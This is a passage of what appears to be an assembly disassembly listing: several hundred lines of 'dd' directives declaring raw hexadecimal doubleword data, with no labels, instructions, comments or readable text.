		dd 766A24BCh, 0BAFC5151h
		dd 7B1F16E1h, 1925263h,	323D47AFh, 783C6801h, 0C029CA09h
		dd 3E0A5E02h, 112CEA4Ch, 0B4D930Dh, 18E4D3BAh, 7E478F2Dh
		dd 0AD942E0h, 150F80Bh,	0CBBD5548h, 2BD8721Bh, 13AF1B12h
		dd 0D2F5F888h, 902E1CB1h, 0DD1CE9D8h, 0D0973892h, 4A362C49h
		dd 0CC26C31Bh, 89C5DD01h, 457A7842h, 0BC65BAF1h, 939CF7Ah
		dd 5185ECE9h, 480F4BB9h, 0EBAA1376h, 0BF57E245h, 0FACB53EEh
		dd 72AF331Fh, 0C024B4D8h, 62D720EEh, 4F6D4B48h,	0F380385Dh
		dd 1D2A6A83h, 0EFE427E9h, 5A4894Dh, 3C90A408h, 643DD98h
		dd 0FA0CF581h, 0C67FC76h, 0B32B138Eh, 78A58C14h, 5A215F4Bh
		dd 0F7019E90h, 72F540D7h, 59267E48h, 1202CA4Ah,	0DC6FDD7Bh
		dd 0AAD8157Ch, 270C5350h, 84E06175h, 67161A87h,	2902497Fh
		dd 0D7C76BB0h, 9D83EF27h, 8A41F0C6h, 7AF31E2Fh,	63A122A4h
		dd 565198CCh, 0D449170Bh, 814B406Fh, 5A7C95F1h,	50EC214Fh
		dd 55DC862h, 0E9359A90h, 6CC26E1Eh, 0AF7F808Eh,	0BD5D255Eh
		dd 1910B0ADh, 0C98101F8h, 3BA97127h, 3F268E83h,	64022882h
		dd 54A34A49h, 0EDD10321h, 0EA650DFh, 98CE75CBh,	539260B7h
		dd 1F780605h, 0D8E92884h, 83C35BBFh, 4366804h, 2DAF3158h
		dd 0AF9E02E5h, 31BC94D7h, 5F0D5457h, 28F23A51h,	108EA6B5h
		dd 5B3B6D1Eh, 548B9F2Dh, 0E1770457h, 6F8529D4h,	68B5E197h
		dd 8A65C8FEh, 213B1B1h,	0BBA7617h, 3654D918h, 683F88h
		dd 0DC4AF5BEh, 0BB02533Bh, 41996C13h, 0D84D743h, 0F95B8203h
		dd 6A30E741h, 5AE1D9E0h, 1C57756Dh, 960B8513h, 0DDB9000Dh
		dd 55720176h, 8278681Ch, 120D80D3h, 0A20C359h, 518C96D2h
		dd 0D49EF459h, 78004391h, 0D6CE232h, 0CE551349h, 85F11233h
		dd 0AB21AE96h, 0B9004830h, 1324799Fh, 0BA0E0733h, 0C194C29h
		dd 28410E92h, 0F94CE91Bh, 21BE682Ch, 0C420A2A0h, 40E2B7DBh
		dd 0EE797778h, 0AEE903C3h, 640A2674h, 47F78B3Fh, 0EFC31B1Bh
		dd 5179DCC5h, 62C0719Dh, 4A054FFBh, 1CB7BC3h, 84352D8Dh
		dd 70213776h, 0F2048115h, 4DE56863h, 66EA96C0h,	0FFFCC5D6h
		dd 9325FF98h, 517E63AAh, 0D99AAF7Eh, 0FABF5A9Fh, 92CE5FF8h
		dd 0D3700FB4h, 50E1519Fh, 0E917F1F7h, 34FF86FDh, 0F490AF97h
		dd 924D7068h, 7D0E2753h, 35F17BC6h, 0F2B12AD6h,	11B2C67Bh
		dd 9E264990h, 5261DDBFh, 8470C7B2h, 0DC99D3E2h,	0B6A462A7h
		dd 691B5FC4h, 0C5600112h, 0CE19C746h, 2B074740h, 0D9033A3Eh
		dd 0BD603F1Fh, 808ACABCh, 0F055851h, 5D6A2382h,	7242DF65h
		dd 9195F952h, 0C6311C48h, 7168F082h, 66297E3Ah,	4A98BB67h
		dd 20FB5695h, 0E67F5EC7h, 46B127F0h, 0F4880499h, 0A628595Ah
		dd 1EB64F86h, 0ADBE5C2Ch, 92BD8D51h, 4440EA9Ch,	7FD52F0Dh
		dd 7422C05Ah, 2D7CF068h, 0BC1E1601h, 5D0013Dh, 2EA0744h
		dd 0C5512C74h, 0F761D982h, 0E5AD32D3h, 1107A44Ch, 9CF1005Eh
		dd 1CA47BBh, 0EC93A4CFh, 27B0BBBEh, 70B3A7F6h, 1228078h
		dd 0B0D549E9h, 0F116FC5Bh, 0BE58D656h, 17AB9E80h, 23FD3266h
		dd 5F199ADFh, 24404E92h, 1B126B2Fh, 0BB0A517Fh,	688514B6h
		dd 0E5ED542Ch, 8F94A722h, 24460408h, 400A2408h,	2EC3230Fh
		dd 5EF22905h, 29EFD021h, 601C5931h, 61BD0C7Ah, 1530D012h
		dd 0E2D78257h, 3DA1DB7Bh, 6BC76650h, 0F0D68B45h, 92E07696h
		dd 0D153BD52h, 0D132DFEBh, 0C1D1D5C2h, 0DCFE5345h, 7A7BE9ADh
		dd 740CA9BBh, 90D3FFA0h, 81E5402Dh, 801307F0h, 9754836Fh
		dd 82EE02BEh, 0FB5A337Eh, 3FA803B7h, 0DE8A01ABh, 0BBE9BC5h
		dd 6202E9F5h, 100DFF0h,	41D93413h, 0C194E095h, 96034CE2h
		dd 1FCDA810h, 0F78E510Dh, 280EA14Dh, 60CA0A40h,	252D6293h
		dd 847412EBh, 6856803Ch, 584F41B7h, 199D25Eh, 6E445013h
		dd 7129E5Bh, 1A29CE41h,	1E943EC0h, 0D425EE83h, 762F07D6h
		dd 18787263h, 949E913h,	0DDD08CA8h, 4B44EA10h, 0B729EFA0h
		dd 192588F8h, 456F71D2h, 0D648A92Dh, 0EAB39653h, 4CBFDC4h
		dd 7082565Bh, 4A020BCFh, 88605FF8h, 4430A43Ch, 732C0C36h
		dd 0E9226157h, 2B4760E9h, 67DE7441h, 4ADA557Eh,	0C7D2551Ch
		dd 0B3208798h, 69BC8098h, 6437DEF6h, 0E63A8B45h, 565205DCh
		dd 27A32C3Ch, 89692446h, 8398D524h, 0A9835F5Dh,	0EA264455h
		dd 346BE112h, 0D18BAF40h, 3C07D10h, 0FE52F280h,	930A3CCAh
		dd 0A9BDEA12h, 30A401D4h, 68D3E9D1h, 499E5472h,	0A2CC1B0Fh
		dd 66557DA2h, 2F682DF6h, 5F626A22h, 0A4F0C5DFh,	0BDC03841h
		dd 6716A40Fh, 0B65E454Bh, 0FC80DCBBh, 3E38B19Eh, 0FC5927EFh
		dd 0FA880BB3h, 0EAC0BA30h, 0CABE0361h, 452AD328h, 0A3A93E95h
		dd 685C04F6h, 36E32D44h, 0B673AC01h, 20EDC108h,	150C568h
		dd 87698953h, 39E45793h, 48439820h, 26720656h, 16FBBE38h
		dd 0F717127h, 2ACB7E09h, 808D2650h, 4012EF05h, 39011016h
		dd 812AF3D2h, 93AB142Bh, 2B20F15Eh, 8D9FFBA3h, 6BDF4493h
		dd 419AE522h, 2620594Ah, 83C094F0h, 61112DCh, 79F033DAh
		dd 0FD5A749Ch, 3C946A92h, 5F9B489Fh, 87504842h,	5F57E319h
		dd 47D52FEBh, 0A86099FEh, 49402348h, 0CD892555h, 542DA3DCh
		dd 1009C9B1h, 0E9E1C153h, 0F6757CF2h, 1A4B45D8h, 0F2C80177h
		dd 7E420829h, 72814BFDh, 1B5F041Ch, 884DE931h, 5E1FE367h
		dd 917CED2Bh, 0C05F3F3Ah, 0A559B190h, 5A5014Ch,	6B7965C0h
		dd 4F8680BEh, 0CF4D7FE9h, 865884F1h, 25EAFC16h,	550B7FC1h
		dd 0B7171054h, 0E66E8B29h, 1A0652FFh, 0F47983Fh, 0F057E984h
		dd 200AE492h, 0E9136931h, 8C4979CCh, 0DD6F11D1h, 5225146Ch
		dd 90CA15DFh, 0E95D0D2Ch, 0C2EE9DADh, 620DF54Fh, 0D1730F4h
		dd 5112585Fh, 25FFBFCDh, 0DB18A6AAh, 0F78062FBh, 8BB2C0DBh
		dd 40555A27h, 7DCE0517h, 5244B81Ah, 3102BDFFh, 0F00F8F4h
		dd 97A86B84h, 8BC68C54h, 4294205Fh, 2997AD80h, 0E2D4222Dh
		dd 0A06CFD24h, 8C97E5B7h, 0F23DADDFh, 0A2A37E09h, 0DE89775Ah
		dd 28E5B680h, 0CC01017h, 5F0077Ah, 9722B256h, 1135DED1h
		dd 681922FFh, 5E892CDCh, 6A215D05h, 3CBE8AE9h, 0B964A780h
		dd 8EAE1013h, 1B77FC01h, 0FCC58935h, 55CBE46Eh,	1422828Ah
		dd 1889775Ah, 0E1E165Ch, 0E7E355B0h, 1D232453h,	329300E4h
		dd 0D90964BFh, 0D0D1E92Ah, 2CD80C16h, 566571BEh, 0A711386Fh
		dd 51B9ACC2h, 0C0576416h, 71769E42h, 0BDE9620Ch, 3EC641B4h
		dd 0F8BD52C1h, 0A7337BACh, 7834AD4h, 3D359B28h,	648271E4h
		dd 4825E90Bh, 5A54EE77h, 609AA129h, 54AE21Dh, 0C0C20390h
		dd 6A60FF84h, 66FE408Dh, 18045A17h, 5200D28Ah, 94B369B2h
		dd 0DF6457E9h, 0B0AFC7A3h, 699F58E8h, 172A0832h, 0F504BF11h
		dd 5D075674h, 941CF709h, 0B3E3D0B9h, 0EB258014h, 0BF97E2Bh
		dd 6A5C5A04h, 0D0E18449h, 5029B013h, 0E52508B4h, 4B0609AAh
		dd 8B800414h, 392D03EEh, 40DF053Fh, 0EB4D30EBh,	202F271Bh
		dd 4ACD608Ch, 2E2981CEh, 0D120DBCh, 9999BE9Ah, 4E5B8A6Ah
		dd 4488D0ACh, 11F7046Fh, 67F2CBFEh, 5A45E91Eh, 518088ACh
		dd 0F71610B9h, 81412700h, 0E0F5CC9h, 0F8C99774h, 7A5AC4F1h
		dd 61879D5Ah, 0CBABD834h, 159702ABh, 614A620Fh,	0BF01B11Ah
		dd 670E821h, 2F62B975h,	82F9290Ah, 2E240AAh, 0A3C1F188h
		dd 8DC82EF0h, 5B537A59h, 0EC431748h, 3567B9F3h,	0A2CF4D3Eh
		dd 1C140036h, 692D7051h, 3E7E2F72h, 56F46278h, 0BBFCEF4h
		dd 3BBDD36Fh, 5699DFAFh
		dd 25413829h, 0B6826E50h, 0B9748B15h, 0D2311518h, 54BF6816h
		dd 1F7970AEh, 7B0A600Ah, 7BD849E9h, 0BD358ADh, 6E4A3525h
		dd 6267115Fh, 0C050DDF8h, 54C6290Ch, 0D518211Ah, 6532455Ah
		dd 752D2635h, 9884037Ch, 5C208CD2h, 0C1340255h,	56040B24h
		dd 0B60BBEFCh, 4007D535h, 67DE074Ah, 50CE005Bh,	0E91AEEB4h
		dd 4097EDE0h, 91AEE838h, 0A1C54B71h, 0D0876027h, 0C389D9Bh
		dd 178814D2h, 81D5825Fh, 6A138590h, 3E685001h, 8ABA8465h
		dd 0E2C12DEFh, 9C10098Eh, 0EC902700h, 0E4247C64h, 8269A24Dh
		dd 4D52580h, 2CFA8159h,	8CBAC932h, 0E59E45B8h, 962B02C1h
		dd 5851D5B3h, 0F7204BC4h, 82ECB6A1h, 758743E3h,	2F606F62h
		dd 7BEC3FC3h, 5091614Ch, 57046311h, 0A5E96971h,	0CF2844ABh
		dd 5C31AA59h, 0B43F665Ch, 3E4E69ADh, 351281F3h,	9628BD23h
		dd 0E9E12EF2h, 28F33809h, 4A98F25Ah, 74F602F5h,	8FA0BFD0h
		dd 7A90351Eh, 0D7AD08D2h, 0AA0FF859h, 1A5F771h,	0F6CDAF74h
		dd 51E40C05h, 49A36007h, 44196BBDh, 0FF57EA9Dh,	0F48270E2h
		dd 80018284h, 45607CC3h, 25B397A7h, 0CF597F7Dh,	0E70C73AAh
		dd 0EE27920Dh, 0FE3B0E4Fh, 1CB8371h, 19909FFAh,	51E95E60h
		dd 9D66F168h, 60420DDBh, 0FD9CD7C3h, 44AF214Ah,	0AA3FF7D6h
		dd 0AD4A148Fh, 10177388h, 2DEE435Eh, 21E9CD26h,	0F039CC53h
		dd 69A47B95h, 56049256h, 5AF1C9E9h, 269EA82Bh, 54AFD459h
		dd 0DB40F216h, 326176Ch, 0DEA4D418h, 0F463C482h, 0F3AF822h
		dd 441146F8h, 0C6EAE9A0h, 40B7A70Dh, 0B9F15835h, 0E255C707h
		dd 0FBD64985h, 8F5C3596h, 3704C805h, 17BE3FC5h,	0B561BB5Ch
		dd 5C023D0Ah, 0E1A882FFh, 79C0C52h, 0B80D8178h,	8C3E7648h
		dd 75CB38D8h, 29196578h, 0CE81AF66h, 0C3CD53D0h, 41B0B13Eh
		dd 2AED700Ah, 2D7A5DA6h, 91645FA6h, 0DF4B64F0h,	99C4B5BDh
		dd 5F5B0976h, 1133494h,	0E4725AD6h, 0D4F162C6h,	0ABEB815Dh
		dd 0F55EB672h, 3237BDFh, 0D787BAF7h, 1C4F1F80h,	76FE2F25h
		dd 7838C34Eh, 65BA4E59h, 5E02AFEDh, 79FD2011h, 0ED8042EEh
		dd 0E6770CC0h, 0B030FD82h, 0D19FF9F6h, 2B86082Eh, 0FBB8D7C9h
		dd 0A983DC67h, 0B913C3Bh, 895A0436h, 25BA386Ah,	0C517FA83h
		dd 9DD489CCh, 8FE81B09h, 882787B5h, 0B27425EEh,	5F5EAED2h
		dd 73EA2CC8h, 79E57A09h, 30C7C431h, 575B295h, 775C3C2Dh
		dd 50C83BD7h, 0F02E6807h, 0BBC26170h, 9E98551Dh, 460038CDh
		dd 96BF5764h, 9F368661h, 1140CDE2h, 77F7169h, 7403F6ECh
		dd 0E9D8DB99h, 62B49C55h, 0B9AB40F3h, 6B2EA100h, 2118BA29h
		dd 252B7FBEh, 0A2F98765h, 0AC50DCA7h, 80F27273h, 0E7BB5300h
		dd 4B2A2967h, 4A05EE9h,	99D121DFh, 80A02EF8h, 0B12B952h
		dd 41C4E016h, 7D344A06h, 130B06B9h, 0BF5AD131h,	0D5E9C170h
		dd 974D9DF8h, 614F5C25h, 0ECBEBD55h, 8118229Eh,	0E90DBAF5h
		dd 0B5435E20h, 6FEFF528h, 34E8D351h, 0D082555Eh, 0AA46D7C2h
		dd 0DE986898h, 14D49441h, 27ACB33Bh, 8E728A7Ch,	487369C2h
		dd 27C01FD5h, 3220E8EFh, 493AEDE3h, 2DC3FCE3h, 0A15FD12h
		dd 0BCE813BFh, 4B4D083h, 237D519Eh, 3667CC80h, 0C1D6022h
		dd 65B1B33h, 994FFDB0h,	9DC74F9Ch, 0E313E25Bh, 515830BEh
		dd 801666B1h, 21FBF5F1h, 29315D42h, 0A67A0405h,	88EF0B83h
		dd 3F0F0587h, 44157104h, 61EAF71Ah, 6F1D8280h, 0F844F734h
		dd 1FF3D2ACh, 4E14927Fh, 0B639A85Dh, 146870F8h,	0BF116DE7h
		dd 2193CD39h, 6123D9E8h, 884B20A1h, 681CD3D8h, 9B2D4840h
		dd 0AF5E54C4h, 0F6D63BE3h, 7F321655h, 0A4B63DBFh, 4C009630h
		dd 0E92E2764h, 2D94D2h,	8082B753h, 21F6E8E7h, 0CB9544Dh
		dd 1428A704h, 0B39D5EAAh, 0B54F848Eh, 3B36BB01h, 0EE95097h
		dd 0E02F3419h, 0AD67DC05h, 8D6004D0h, 46D00DEBh, 658753Fh
		dd 17BF40ADh, 632022F7h, 910438D3h, 2C2CF81Dh, 0F9C545ECh
		dd 0C68925C8h, 56DE40F9h, 62D6BE1Ch, 21011853h,	74844880h
		dd 37F19E40h, 9A21E753h, 0A649CB20h, 796495E6h,	307C5F5Fh
		dd 185D49E9h, 530D680Bh, 0D6D11AB1h, 1142C0FEh,	0BBB4F57Ch
		dd 0E9C24DB1h, 4A4D58A7h, 590E9105h, 3FE57F2Dh,	4468A140h
		dd 813D0FE3h, 26245BCBh, 0AABC801Bh, 1D28D9EBh,	0AF29A229h
		dd 483BEC79h, 0C2D52D8Ah, 2D07F719h, 0AFE60436h, 0E983CEB2h
		dd 3C00C5A5h, 7C3FB9BDh, 0D69DB80Ah, 577470Bh, 4FC4133Ah
		dd 3757D0A8h, 0CAF8795Bh, 82D60741h, 57F1E911h,	3639B2Dh
		dd 0DEE2FD89h, 0F029FBE8h, 0E9947AEEh, 0C7306025h, 0A2CA8238h
		dd 4A246BD3h, 25085312h, 7D42FB8h, 25B8E20h, 0C1E1BFE2h
		dd 6866006Ch, 41704F73h, 30F4B106h, 2FFF2CFh, 562CE92Ch
		dd 79E02D33h, 3F0F0DCBh, 2491B961h, 0FC5F1F05h,	99BFDDEh
		dd 0DCF109E9h, 0C165EEC7h, 358AAA02h, 2E665C1Eh, 384C42BEh
		dd 0C3ACD05Bh, 76D66804h, 37CDA4B8h, 5AB3782Bh,	0E90BA0CAh
		dd 0FEA3D918h, 0C3989FCBh, 0D858301Ah, 0A36184FAh, 76DF1CA2h
		dd 0F6261AC6h, 82B9A7D7h, 0F830E5C7h, 42E9795Bh, 8E77A8E9h
		dd 0AA01145Dh, 387C9EC0h, 5D3A7B06h, 69E81839h,	8015CB10h
		dd 0D680B18Fh, 735D8072h, 10E70B81h, 18DEA608h,	9203AE8h
		dd 6808C457h, 78800408h, 6986D04h, 6330C37Fh, 0A3CF6993h
		dd 8D0D0819h, 31887820h, 170C64EFh, 40FD0814h, 7D66B386h
		dd 20101E39h, 7F208A92h, 39D0636Dh, 1810E2B7h, 7418042Bh
		dd 0D90310B4h, 4E4608C6h, 0EB4F2018h, 4A11F363h, 3D081896h
		dd 0AF8818FCh, 74B608C4h, 20804106h, 87A4831h, 188CD050h
		dd 0E908D7AAh, 40E2D340h, 0A1C47370h, 890434FAh, 306A0E5Eh
		dd 8DB9019h, 0A7B45131h, 26089DBDh, 57552060h, 32658320h
		dd 7769DF67h, 8878C09h,	587362BAh, 1905C166h, 68B7A846h
		dd 86066B9h, 0A313198h,	21820896h, 0D2D92888h, 0C5CC308h
		dd 2C188A24h, 0BA9751C6h, 50632008h, 20306E31h,	888902Fh
		dd 640C222Bh, 0C60F2095h, 186FB8E1h, 0E0D93E63h, 21101848h
		dd 0B2880817h, 1E1CCA9h, 888D832h, 430CB6DDh, 646B2850h
		dd 67981B9h, 2008A80Bh,	5820EEC9h, 5D502084h, 38CAD270h
		dd 4488801Ah, 0EFDC089Ah, 19732A08h, 0D6B659C5h, 2D95C02h
		dd 88494183h, 0FB088C81h, 415A18C6h, 88B0F55Ch,	942E410h
		dd 5C2A8B74h, 697C9814h, 18C41654h, 0A306F033h,	71201097h
		dd 0DC8954AEh, 9B90A863h, 0EB08C672h, 2444182Ah, 203C927Bh
		dd 0F4338247h, 2465084Ch, 8C7C2A91h, 9B0826DCh,	73331892h
		dd 37FA108Eh, 8609C969h, 0D431206Ch, 8BC4089Ch,	8049E802h
		dd 0EB84510Fh, 2E089989h, 0FC2413E9h, 10446FA1h, 0AB19088Ch
		dd 80292C80h, 10C48368h, 0C804658Bh, 2101F82h, 14C98131h
		dd 61F9016Ch, 29184403h, 59089B32h, 774580A7h, 81E67980h
		dd 65B05223h, 0C1E7E4A6h, 8A58A31h, 50884D61h, 77158753h
		dd 522C1894h, 80750710h, 59CCD237h, 807A49D5h, 3C924A15h
		dd 63C25540h, 53E0108Ch, 9C600807h, 0D10BE8FCh,	9AEF06D3h
		dd 0C778F749h, 4640B2E4h, 2C47013Bh, 13EB0275h,	0B90E8D89h
		dd 5E83DA7h, 8F440001h,	0C90B4940h, 8B2CF775h, 53AC274h
		dd 0B9F003DEh, 783317B4h, 0B10F0CC0h, 0AC2C304Fh, 0BD5FEDB8h
		dd 46D7BFF8h, 18EF6004h, 4A2F5476h, 2544D397h, 5200BA72h
		dd 0A60A8ABAh, 1A555114h, 2C6259E9h, 2007F9F4h,	1130766h
		dd 5B5E2D5Ch, 0C80CAD0h
		dd 0DD36E959h, 207BA19Ah, 2002DB7Fh, 0C05B66D8h, 65C180E0h
		dd 2558C730h, 179FD88h,	71A2976Fh, 0BD79AA4Eh, 688B903Eh
		dd 469F05DEh, 63FD27F6h, 4F6303FCh, 5C100D75h, 0ECDDE068h
		dd 0AC584D4h, 8200D6F7h, 3A582540h, 42C21C81h, 800F5D68h
		dd 0D2C92FF2h, 0D6042901h, 5E5F565Ah, 2E5AD8EEh, 91B8174Ah
		dd 0B23CAED6h, 0A4567C0h, 0F086241h, 0CE84005Ch, 0EBFC4D0Dh
		dd 0B649167Dh, 65C0ACC9h, 1FC35B65h, 0B800D71Ch, 7A320DF8h
		dd 0A1542733h, 688646D9h, 206D6FC5h, 409F35ACh,	75283CAAh
		dd 0B5EB75CBh, 0F0A0F959h, 2029321Eh, 0D200702Eh, 1AADFD6h
		dd 130FBDDDh, 0FB74E7h,	8108E1C1h, 68AF100h, 0BE562D16h
		dd 4F680F9Ch, 5E8A211Dh, 0D6921AB5h, 5060AA54h,	270244B8h
		dd 0F2D62BF8h, 26F1890Ch, 2F482E68h, 5D0CC9D9h,	0EE9881E6h
		dd 0EA56F18h, 6112968h,	92E90D7Ch, 0CBE32B7h, 43A3FD52h
		dd 445F48FAh, 2A6843B0h, 79325820h, 0CE0B00B8h,	77BD551Ch
		dd 64E7F31h, 5D5202AAh,	2F14429h, 0C4B611A0h, 5F0D6884h
		dd 687D68FEh, 0FC14702Eh, 60BF5761h, 0C81ADBE7h, 1B4B5FFBh
		dd 0A42705E9h, 0DFDA0492h, 5B41310Ch, 2A50F76h,	0E97BD86Bh
		dd 15F91857h, 20EF5E1Ah, 696852E0h, 6B191332h, 4484B15Ah
		dd 0E661C13Ah, 8D602022h, 7BAFCC13h, 0BF4A19F8h, 21E98570h
		dd 8010C090h, 0E788C2ECh, 0F348587Bh, 36829E51h, 0DD1F960Dh
		dd 0CAE06933h, 525FB417h, 0A0EA31B0h, 5A35E908h, 0B5693028h
		dd 274F8E62h, 307BC0E0h, 0D79E07E0h, 1460DC12h,	3E7CE34Eh
		dd 0D2F7206Ch, 11AB6E01h, 45DCE91Ch, 31989846h,	8F0C22ACh
		dd 1E8E2B04h, 0AD90FC5Ah, 5AAECA6Eh, 0A6D9E8B8h, 100AFC5Eh
		dd 1C4AF7ECh, 626ED1B4h, 16687E42h, 4CD32B6Bh, 94E39F5Ah
		dd 12CD4186h, 5BD92912h, 48A92DEFh, 2040AA7Fh, 0F5313C5Dh
		dd 3AED1F1Ah, 831CFA5Ch, 0F36802C4h, 47EB0BAh, 0E9584486h
		dd 0B999CA60h, 9D356F03h, 0CFCED341h, 5595EA8h,	1B6CCC01h
		dd 93B6E907h, 0BB462C97h, 27356608h, 5D650055h,	9D0A0239h
		dd 490CB14h, 0E1510F8Ah, 9D391324h, 0A1408141h,	0E90CBE5Fh
		dd 366C6043h, 0A0138E2Dh, 40BDA798h, 979EFFAh, 977B8D9h
		dd 7257635Dh, 0E9EE38FCh, 93931724h, 0D44F00F3h, 5E3F3A13h
		dd 0DBD82125h, 0F4B0E28Bh, 0FEA51C79h, 4058C564h, 3135BAB6h
		dd 42BD63BEh, 1325F079h, 2CD1685h, 7BE9C8B9h, 66EBA05Dh
		dd 0F42DB753h, 147D638Ch, 24BB3AB2h, 0BA0F0EC6h, 0C7F358C6h
		dd 3BE1E281h, 42207739h, 4648003Dh, 3EAC13Fh, 66CD3E9h
		dd 12D01E55h, 0ED48B121h, 0E67716CDh, 4E569CBCh, 6E15680Bh
		dd 9EF33CF5h, 9153C43Bh, 2A4F5FEDh, 653230A0h, 405CF81Dh
		dd 68555AA0h, 0E6B772B1h, 0EE68FD27h, 19B5CF4Fh, 0E56FC195h
		dd 638E63F8h, 1BA87A22h, 0A9D146CAh, 2253044Bh,	5BD83102h
		dd 1C6036F1h, 18576B65h, 0C34CE468h, 538154FFh,	0BFACE90h
		dd 58F1B652h, 7102F681h, 0A5929501h, 983C945Dh,	10410964h
		dd 5D01314Bh, 0FFAE5D96h, 53F5C9B0h, 0F3E0015Fh, 376F2FE9h
		dd 0F4ADC653h, 0F3B8E989h, 5B06ABBAh, 0D1096E2Bh, 0A4F10078h
		dd 290C321Bh, 9B559CEh,	0E9C0C012h, 20654167h, 2340B30Dh
		dd 105E2D68h, 5858E876h, 6BFEB057h, 5A68359Ch, 7DB15DD1h
		dd 282A52ADh, 808543C9h, 8224098Bh, 2076A0C0h, 5E033C2Fh
		dd 5B08A006h, 900BD158h, 0C15093B8h, 0FF05CC00h, 0C10C9E4Fh
		dd 71E90610h, 0CA742AC0h, 47401290h, 0E90D505Fh, 7207A2F3h
		dd 6C72BA0h, 6565251Ch,	81AC018Ch, 390248EBh, 16CD032Eh
		dd 0C25801FBh, 6A60061Dh, 80236F5h, 0AC30FD5Bh,	0E58399E7h
		dd 4DC6CC0h, 801E4F7Bh,	19D303DEh, 0A80CE914h, 0AF082875h
		dd 3BBB3D20h, 2A92475Fh, 0BA324015h, 45E76C2Ch,	46012690h
		dd 0E9743C29h, 4924CBE4h, 57552768h, 0D54B49F3h, 109E4134h
		dd 14506850h, 0A5303F51h, 8AB0E31Dh, 16AB6FBFh,	57D50A0Fh
		dd 7512068Ch, 0EB0B4215h, 40BD9016h, 0A03E11F4h, 1396B9F8h
		dd 0E078CD9Bh, 0D75C3123h, 0ACE7280Dh, 0EE0EF00h, 0FE2914C7h
		dd 0CE01345Fh, 0AC08C0B2h, 9C25E921h, 0D1DBF491h, 25616F56h
		dd 0B76E1C44h, 1728489Eh, 9231466Fh, 7025C0E9h,	19CDDC82h
		dd 0C640BC68h, 41F2A7C5h, 0DF29C625h, 84963F12h, 215BF6FEh
		dd 0D7039692h, 192DECA0h, 0C90EB34Bh, 126018E9h, 78CD8FEEh
		dd 7882F941h, 1C651E2Ah, 0FB44905Fh, 0E161C987h, 68BF0D00h
		dd 15508526h, 7E1DA59Ch, 0CF817A44h, 6E884287h,	0E72EA932h
		dd 0FAC38F9Fh, 11826A06h, 0D897F279h, 39E828F6h, 80D593CFh
		dd 0DA6B7EEAh, 0B820E925h, 6FFA9F2Eh, 0E279226h, 0C976988Ah
		dd 0F996B763h, 5F64341Bh, 131D07E6h, 0CED0290Ah, 0C25DF84Ch
		dd 0C77CA201h, 1C57097Bh, 0D885E288h, 8033A720h, 0E9E35738h
		dd 0E44D22ABh, 95B0FCFCh, 0A74FB2Ah, 18B06E51h,	4EBF771Bh
		dd 0C7DBD25h, 806E782Ah, 0C64B885Bh, 94104B88h,	68590EF5h
		dd 1B2264C9h, 0E253D29Eh, 0A27FACBDh, 1BAD2D80h, 9055ACBh
		dd 287B1A22h, 0BC75505h, 9BF53A93h, 0AC23CAC1h,	5DA386BFh
		dd 6C12CE02h, 0F62CCC0Ch, 6613C41h, 7BAE993Ah, 0C3E9BD43h
		dd 0BE340067h, 3E905FD7h, 0FF8F331h, 1FEEF759h,	0CEB90545h
		dd 0A4E28B80h, 3C390126h, 0EF83FA87h, 16F03E01h, 0E1B0E7B3h
		dd 771D9E5Ah, 9134D098h, 54BC186Dh, 0EA59B1Ah, 2B690B60h
		dd 8268D782h, 721D9CF5h, 0B6C214D4h, 754FA616h,	0FF3A4960h
		dd 0BE69D19Dh, 0BB10FD30h, 0C2F5C0Fh, 0A375C7Ah, 81F66338h
		dd 0C83B9505h, 87EA9716h, 124E7BB0h, 0A42A3854h, 354180E7h
		dd 0CCA9846Bh, 0E1FC512Eh, 0B08A754Fh, 8125E95Bh, 5ADFE956h
		dd 0B24E1A9h, 0B87D7409h, 0A1A16803h, 63A539Ah,	7B372C65h
		dd 1329810h, 53C65298h,	0F2E1B080h, 0FF2C26B1h,	0E90713C1h
		dd 1AA965Ch, 0A07941DCh, 0D0492828h, 95212C8h, 5DC70C4Bh
		dd 8AEA589Bh, 591984D5h, 0C193A6BEh, 6065F568h,	5880D5C6h
		dd 371D28D7h, 54A00CC1h, 146E1CB7h, 0F80499ADh,	0EF143570h
		dd 92C3E090h, 3D270190h, 79E9DD31h, 8E736FFDh, 0F9728268h
		dd 25B69C18h, 0A198601Eh, 0A4E95015h, 8A4530F3h, 7C4F6890h
		dd 0F3563560h, 87550618h, 0CCE196D5h, 430E0B6Eh, 9408E3C1h
		dd 418F178Eh, 0FD5F2EA3h, 0C98C918Fh, 0D36D7E9h, 695E7695h
		dd 0C9CF285Ch, 8AB510F9h, 60C8A229h, 2D62E3DFh,	0E0D449CAh
		dd 0F5A55A26h, 5C4A7B9Ch, 0D918F5B9h, 65F7931Bh, 0BFBDF212h
		dd 9AB8D0FEh, 0BB5CD6FEh, 0A6E917C0h, 0EB898542h, 31CA835Dh
		dd 4CD893C3h, 0E9092208h, 0B7A23BB1h, 722D06A9h, 27C80331h
		dd 927E76DFh, 0E2E099Dh, 0AD080F7Dh, 93E90406h,	0F688ABEDh
		dd 9D2C92A8h, 0E575F4BAh, 43959786h, 0F6E0D0E6h, 0FF960C99h
		dd 708229B7h, 1DC83614h, 712C37EBh, 2A26254Bh, 0A1EEB009h
		dd 0B510AA58h, 0E37257EEh, 59E6801Ch, 77C1F6C9h, 0B97AC8Ah
		dd 44F35A66h, 7B93F0C9h, 963E5CB6h, 0D0D9852Dh,	4403AF62h
		dd 2BC5059Bh, 8533777Ch, 0D78406h, 0ADB95108h, 194EB757h
		dd 1DFC8CC8h, 0BD46F063h, 94C06500h, 220E916h, 0C4A53A99h
		dd 41EF085h, 6DE93777h,	16D9ED68h, 2029C38Bh, 25C9E82Bh
		dd 5E960751h, 6B91A165h, 7EB9EAC1h, 0CC48AE87h,	0E82FE2B7h
		dd 5E19DBC4h, 470AD3F6h, 9F2F616Eh, 0FCE45171h,	0A8317A3Bh
		dd 0E9F813EDh, 38EA4D01h
		dd 0AAD52984h, 0A84E9ACBh, 12BFD7D9h, 18D78A5Dh, 0C217C0E8h
		dd 0B1B2043Dh, 8BD629D1h, 0F3891A1Bh, 0D7048567h, 0F4DD28FEh
		dd 0C9EC855Fh, 15568E0h, 394327C4h, 236DAE13h, 5569734h
		dd 794507BEh, 0E921AF6Ch, 3C20EE83h, 5DE0AAFDh,	0C6808200h
		dd 945F2C8Dh, 707C69A0h, 0F73BE14Bh, 0E8B85F37h, 13F49984h
		dd 70440800h, 37591A1Bh, 69E7CD21h, 54443FF9h, 82D14CF2h
		dd 1148A82h, 9DF2D35Fh,	0AC54933Ch, 0E37DB187h,	0F202CB39h
		dd 269343FFh, 0A51C6055h, 17E60540h, 40A1C9E9h,	8027B544h
